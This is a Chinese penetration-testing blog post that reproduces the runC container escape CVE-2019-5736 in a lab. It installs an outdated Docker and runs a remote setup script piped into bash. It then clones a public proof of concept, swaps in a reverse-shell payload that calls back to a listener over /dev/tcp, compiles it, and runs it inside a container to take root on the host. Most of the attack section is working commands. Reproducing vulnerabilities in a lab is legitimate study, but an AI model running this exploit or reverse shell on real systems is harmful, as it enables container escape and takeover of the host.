loading...
Docker逃逸复现
Published in:2022-03-31 | category: 渗透测试

漏洞简述:

攻击者可以通过特定的容器镜像或者exec操作可以获取到宿主机的runC执行时的文件句柄并修改掉runc的二进制文件,从而获取到宿主机的root执行权限。

利用条件:

Docker版本 < 18.09.2,runC版本< 1.0-rc6。(在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6。)
可通过 docker 和docker-runc 查看当前版本情况。

安装低版本Docer

如果你过去安装过 docker,先删掉:

sudo apt-get remove docker docker-engine docker.io

更新源

sudo apt-get update

安装依赖:

sudo apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common

信任 Docker 的 GPG 公钥:

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -

对于 amd64 架构的计算机,添加软件仓库:

我是Ubuntu16.04,同房时设置下载仓库路径为清华大学的,提高下载速度,好多人安装失败就是因为下载速度不行,因为你的下载路径可能是:”deb [arch=amd64] https://download.docker.com/linux/ubuntu

sudo add-apt-repository
“deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu
$(lsb_release -cs)
stable”

查看docker-ce的版本

apt-cache madison docker-ce

屏幕截图 2022-01-03 005937.png
下载Docker

sudo apt-get install docker-ce=5:19.03.93-0ubuntu-focal

漏洞测试复现:

漏洞环境准备:

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

或者直接下载脚本安装

chmod 777 install.sh && ./install.sh

下载POC,编译脚本
# 下载POC

git clone https://github.com/Frichetten/CVE-2019-5736-PoC

# 修改Payload

vi main.go
payload = “#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/1234 0>&1”

# 编译生成payload

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

模仿攻击者,在容器中执行payload

屏幕截图 2022-01-03 011904.png

# 拷贝到docker容器

sudo docker cp ./main 248f8b7d3c45:/tmp

屏幕截图 2022-01-03 012007.png

# 进入容器

sudo docker exec -it 248f8b7d3c45 /bin/bash

修改权限

chmod 777 main

执行Payload

./main

2.png

假设,管理员通过exec进入容器,从而触发Payload。

sudo docker exec -it 64123a385dfd /bin/bash

管理员进入
触发前.png
触发漏洞
12.png
反弹shell
反弹.png

Prev:
Log4漏洞利用工具
Next:
利用DN实现的SQL注入外带查询
catalog
catalog